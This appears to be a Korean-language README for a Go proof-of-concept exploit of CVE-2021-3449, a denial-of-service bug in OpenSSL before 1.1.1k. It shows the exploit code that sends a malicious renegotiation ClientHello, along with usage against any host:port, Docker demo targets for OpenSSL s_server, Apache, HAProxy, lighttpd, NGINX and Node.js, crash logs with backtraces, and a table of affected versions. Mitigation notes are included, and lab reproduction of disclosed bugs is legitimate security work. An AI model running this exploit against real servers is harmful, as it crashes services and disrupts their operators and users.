CVE-2021-3449 OpenSSL <1.1.1k DoS 익스플로잇

사용법: go run . -host hostname:port

이 프로그램은 TLSv1.2 보안 재협상(secure renegotiation)을 허용하는 1.1.1k 미만 OpenSSL 서버에 영향을 주는 CVE-2021-3449의 개념 증명(PoC) 익스플로잇을 구현합니다.

TLSv1.2 서버에 연결한 후 즉시 RFC 5746 "보안 재협상(secure renegotiation)"을 시작합니다. 이 공격은 NULL 포인터 역참조를 유발하여 서버를 충돌시키는(서비스 거부, DoS) 악의적으로 조작된 ClientHello를 사용합니다.

참고 자료

이 문제는 2021년 3월 17일 Nokia가 OpenSSL에 보고했습니다. 수정 사항은 Nokia의 Peter Kästle과 Samuel Sapalski가 개발했습니다.

완화 조치

알려진 유일한 수정 방법은 libssl1.1을 업데이트하는 것입니다.

일부 애플리케이션은 기본적으로 TLS 재협상을 비활성화하는 강화된 TLS 구성을 사용하지만, 오래된 OpenSSL 버전을 실행 중이라면 여전히 이 버그의 영향을 받습니다.

익스플로잇

main.go는 TLS 서버에 연결하여 재협상을 강제한 후 연결을 끊는 작은 스크립트입니다.

익스플로잇 코드는 Go 1.14.15 encoding/tls 패키지의 번들 버전에 주입되어 있습니다. handshake_client.go:115에서 찾을 수 있습니다. 로직은 자명합니다.

// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

데모

demo/ 디렉토리에는 다양한 애플리케이션에 취약한 OpenSSL 버전을 적용하기 위한 구성이 들어 있습니다.

테스트 설정:

취약한 OpenSSL 1.1.1j 버전을 로컬에서 다운로드 및 컴파일
Ubuntu 20.04 대상 컨테이너를 준비하고 OpenSSL 라이브러리 업로드
대상 컨테이너에 애플리케이션 설치
서버 시작 및 공격 실행

요구 사항:

OpenSSL (호스트)
build-essential (Perl, GCC, Make)
Docker

참고: 나열된 웹 서버는 OpenSSL 1.1.1k 이상에서 CVE-2021-3449에 취약하지 않습니다.

모든 데모 리소스를 정리하려면 make clean을 실행하세요.

OpenSSL 단순 서버

openssl s_server는 최소한의 TLS 서버 구현입니다.

make demo-openssl: 전체 실행 (포트 4433)
make -C demo build-openssl: 대상 Docker 이미지 빌드
make -C demo start-openssl: 포트 4433에서 대상 시작
make -C demo stop-openssl: 대상 중지

결과: 서버 전체 충돌.

로그

docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

기본 구성의 Apache2 httpd 웹 서버는 취약합니다.

make demo-apache: 전체 실행 (포트 443)
make -C demo build-apache: 대상 Docker 이미지 빌드
make -C demo start-apache: 포트 443에서 대상 시작
make -C demo stop-apache: 대상 중지

기여해 주신 @binarytrails 님께 감사드립니다.

결과: 부분 중단. 메인 프로세스는 살아 있지만 워커 프로세스가 충돌했습니다.

로그

docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &

[[truncated]]

sending initial ClientHello
connected
sending malicious ClientHello
[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)
[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)
[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation
[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
malicious handshake failed, exploit might have worked: EOF
[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2

HAProxy

HAProxy 2.0.13 이상 버전은 영향을 받지 않습니다.

1.8.8 이전 버전은 "intermediate" TLS 구성에서 취약합니다.

make demo-haproxy: 전체 실행 (포트 4433)
make -C demo build-haproxy: 대상 Docker 이미지 빌드
make -C demo start-haproxy: 포트 4433에서 대상 시작
make -C demo stop-haproxy: 대상 중지

테스트는 master-worker 모드(-W 플래그, Debian 기본값)로 실행했습니다. 놀랍게도 워커 프로세스가 죽으면 마스터 프로세스도 종료됩니다.

결과: 서버 전체 충돌.

로그

docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy
1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8
docker logs -f cve-2021-3449-haproxy &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
[ALERT] 086/075305 (1) : Current worker 7 exited with code 139
[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM
[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)

lighttpd

lighttpd 1.4.56 이상 버전은 lighttpd.conf에서 ssl.disable-client-renegotiation = "enable"를 구성한 경우 취약하지 않습니다.

"intermediate" TLS 구성을 사용하는 lighttpd 웹 서버 <= 1.4.55는 취약합니다.

make demo-lighttpd: 전체 실행 (포트 4433)
make -C demo build-lighttpd: 대상 Docker 이미지 빌드
make -C demo start-lighttpd: 포트 4433에서 대상 시작
make -C demo stop-lighttpd: 대상 중지

결과: 서버 전체 충돌.

로그

docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd
84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232
docker logs -f cve-2021-3449-lighttpd &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
/bin/bash: line 1:     7 Segmentation fault      lighttpd -D -f /etc/lighttpd/lighttpd.conf

NGINX

NGINX 1.18.0 이상 버전은 취약하지 않습니다.

일반적인 구성의 NGINX 1.14.0 웹 서버는 취약합니다. (https://nginxconfig.io)

NGINX >1.15.4 버전은 OpenSSL >=1.1.1과 함께 사용하면 안전한 것으로 간주됩니다. SSL_OP_NO_RENEGOTIATION 패치를 포함하기 때문입니다: http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html

make demo-nginx: 전체 실행 (포트 4433)
make -C demo build-nginx: 대상 Docker 이미지 빌드
make -C demo start-nginx: 포트 4433에서 대상 시작
make -C demo stop-nginx: 대상 중지

결과: 부분 중단. 메인 프로세스는 살아 있지만 워커 프로세스가 충돌했습니다.

로그

docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx
ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70
docker logs -f cve-2021-3449-nginx &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)

Node.js

Node.js https.createServer()는 취약합니다.

make demo-nodejs: 전체 실행 (포트 4433)
make -C demo build-nodejs: 대상 Docker 이미지 빌드
make -C demo start-nodejs: 포트 4433에서 대상 시작
make -C demo stop-nodejs: 대상 중지

결과: 서버 전체 충돌.

로그

server started
sending initial ClientHello
connected
sending malicious ClientHello

Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x000000000160714e in tls1_process_sigalgs ()
#0  0x000000000160714e in tls1_process_sigalgs ()
#1  0x00000000016074b3 in tls1_set_server_sigalgs ()
#2  0x00000000016007dd in tls_post_process_client_hello ()
#3  0x00000000015ef692 in state_machine.part ()
#4  0x00000000015c1a6d in ssl3_read_bytes ()
#5  0x00000000015ca2c7 in ssl3_read ()
#6  0x00000000015d6491 in SSL_read ()
#7  0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()
#8  0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) ()
#9  0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()
#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239
#11 0x0000000001484c90 in uv__stream_io (loop=<optimized out>, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306
#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462
#13 0x0000000001479318 in uv_run (loop=0x45a1020 <default_loop_struct>, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385
#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()
#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()
#16 0x0000000000a4f73a in node::Start(int, char**) ()
#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 <main>, argc=2, argv=0x7fff42035238, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff42035228) at ../csu/libc-start.c:310
#18 0x00000000009ce26c in _start ()
malicious handshake failed, exploit might have worked: EOF

저작권

이 저장소는 Go 프로그래밍 언어의 encoding/tls 패키지를 번들로 포함합니다.

// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

OpenSSL s_server	-	1.1.1j	`make demo-openssl`	충돌
Apache2	Ubuntu 18.04	2.4.29	`make demo-apache2`	부분 충돌
HAProxy	Ubuntu 18.04	1.8.8	`make demo-haproxy`	충돌
HAProxy	Ubuntu 20.04	2.0.13	`make demo-haproxy`	영향 없음
lighttpd	Ubuntu 18.04	1.4.55	`make demo-lighttpd`	충돌
lighttpd	Ubuntu 20.04	1.4.55	`make demo-lighttpd`	충돌
lighttpd	Ubuntu 21.04	1.4.59	`make demo-lighttpd`	구성 옵션 사용 시 영향 없음
NGINX	Ubuntu 18.04	1.14.0	`make demo-nginx`	부분 충돌
NGINX	Ubuntu 20.04	1.18.0	`make demo-nginx`	영향 없음
Node.js <=12	Ubuntu 18.04			영향 없음
Node.js >12	Ubuntu 18.04	?	`make demo-nodejs`	충돌
Node.js >12	Ubuntu 18.04	15.14.0	`make demo-nodejs`	영향 없음

cve-2021-3449

인기

CVE-2021-3449 OpenSSL <1.1.1k DoS 익스플로잇

참고 자료

완화 조치

익스플로잇

데모

OpenSSL 단순 서버

Apache2 httpd

HAProxy

lighttpd

NGINX

Node.js

저작권